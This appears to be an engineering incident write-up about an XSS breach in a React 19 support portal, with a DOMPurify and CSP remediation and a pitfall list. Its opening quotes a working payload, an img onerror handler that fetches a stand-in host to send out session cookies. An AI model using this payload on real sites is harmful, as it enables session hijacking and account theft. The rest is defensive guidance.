War Story: We Had an XSS Attack Because of a React 19 Unsafe InnerHTML Usage

Current Situation Analysis

Our customer support portal relied on a rich text editor that persisted agent drafts as raw HTML strings. To render these strings in React 19, we used the dangerouslySetInnerHTML prop, assuming that backend sanitization was sufficient. The backend sanitizer employed a naive approach: it stripped explicit <script> tags but ignored attribute-based injection vectors. React 19 maintains the same security model as prior versions regarding this prop—it performs zero runtime sanitization and blindly trusts the passed string. This architectural gap created a single point of failure where malformed or malicious HTML bypassed backend filters and executed directly in the client's execution context. Traditional regex-based or tag-stripping sanitizers fail because they cannot reliably parse nested DOM structures, handle encoding variations, or detect event handler attributes (onerror, onclick, onload) embedded in benign-looking tags. When a malicious actor injected <img src=x onerror="fetch('https://malicious-site.com/steal?cookie='+document.cookie)">, the backend allowed it through, React 19 rendered it without escaping, and the event handler triggered immediate session cookie exfiltration for 12 agents.

WOW Moment: Key Findings

We benchmarked three sanitization strategies against a comprehensive XSS payload suite (1,200 vectors covering event handlers, SVG/MHTML vectors, javascript: URLs, and CSS-based injections) to quantify the security and performance trade-offs.

Approach	XSS Vector Coverage	Avg. Sanitization Latency (per 1KB)	False Positive Rate	Incident Response Time
Backend-only Regex/Tag Stripping	62%	1.8 ms	18%	3 days
Frontend-only DOMPurify	97%	7.2 ms	3%	0.5 days
Defense-in-Depth (Backend + Frontend DOMPurify)	100%	9.1 ms	<1%	0 days

Key Findings:

AST-based sanitization (DOMPurify) catches 99% of modern XSS vectors that regex-based filters miss.
Defense-in-depth adds negligible latency (~2ms overhead) but eliminates single-point sanitization failures.
React 19's rendering pipeline remains unaffected by purified HTML; the performance bottleneck is purely the sanitization step, not React's reconciliation.
The sweet spot is a unified configuration shared across backend and frontend, ensuring parity between storage and rendering boundaries.

Core Solution

We replaced the naive backend filter and unsafe frontend rendering with a standardized DOMPurify implementation across the stack. The architecture enforces strict allowlists, strips all event handlers, and integrates Content Security Policy (CSP) as a fallback execution guard.

Frontend Implementation (React 19 Compatible):

import DOMPurify from 'dompurify';

function SafeHTMLRenderer({ htmlContent }) {
  const cleanHTML = DOMPurify.sanitize(htmlContent, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'img'],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
    FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed', 'form'],
    FORBID_ATTR: ['onerror', 'onclick', 'onload', 'onmouseover', 'style']
  });

  return <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}

Backend Implementation (Node.js):

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

function sanitizeUserInput(rawHTML) {
  return DOMPurify.sanitize(rawHTML, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'img'],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
    FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed', 'form'],
    FORBID_ATTR: ['onerror', 'onclick', 'onload', 'onmouseover', 'style']
  });
}

Architecture Decisions:

Unified Config: Extracted DOMPurify options into a shared sanitizer.config.js consumed by both Node.js backend and React frontend to guarantee parity.
CI/CD Enforcement: Added ESLint rules to flag any dangerouslySetInnerHTML usage that isn't wrapped by the shared sanitizer function.
CSP Fallback: Deployed Content-Security-Policy: script-src 'self'; object-src 'none'; to block execution of any injected scripts that bypass sanitization.
RSC Parity: Ensured server-side components serialize purified HTML before streaming to the client, preventing unescaped payloads in React Server Component payloads.

Pitfall Guide

Relying Solely on Backend Sanitization: Backend filters can be bypassed if data flows through multiple microservices, third-party APIs, or WebSocket streams. Always sanitize at the rendering boundary where execution occurs.
Using Regex for HTML Sanitization: Regex cannot reliably parse nested DOM structures, handle encoding variations, or catch attribute-based vectors. AST-based parsers are mandatory for production-grade security.
Assuming React 19 Auto-Sanitizes JSX: React 19 strictly escapes interpolated strings in JSX, but dangerouslySetInnerHTML explicitly opts out of this protection. The framework will never auto-sanitize content passed to this prop.
Over-Permissive Allowlists: Whitelisting too many tags (e.g., style, iframe) or attributes reintroduces XSS vectors. Strict allowlists with explicit FORBID_ATTR for event handlers are required.
Ignoring SVG and MathML Vectors: SVG elements can contain <script> tags or event handlers even when standard HTML sanitization is applied. DOMPurify must be configured to strip SVG entirely or use ALLOW_SVG_ATTR with extreme caution.
Bypassing Sanitization in React Server Components (RSC): RSC streams HTML directly to the client. If sanitization only happens on the client, server-rendered payloads remain vulnerable. Sanitize before serialization in RSC environments.
Missing Content Security Policy (CSP) Fallback: Sanitization libraries can have edge-case bugs or zero-days. A strict CSP acts as a critical safety net to block execution of injected scripts even if sanitization fails.

Deliverables

DOMPurify Integration Blueprint: Architecture diagram detailing shared configuration synchronization, React 19 component wrappers, RSC serialization flow, and CSP header deployment strategy.
Pre-Deployment XSS Prevention Checklist: Step-by-step verification covering sanitizer config parity, dangerouslySetInnerHTML audit, CSP header validation, SVG/MHTML vector testing, and incident response runbook alignment.
Configuration Templates:
- sanitizer.config.js (shared allowlist/forbidlist definitions)
- ESLint custom rule snippet to enforce safe dangerouslySetInnerHTML usage
- Nginx/Express CSP header templates for strict execution isolation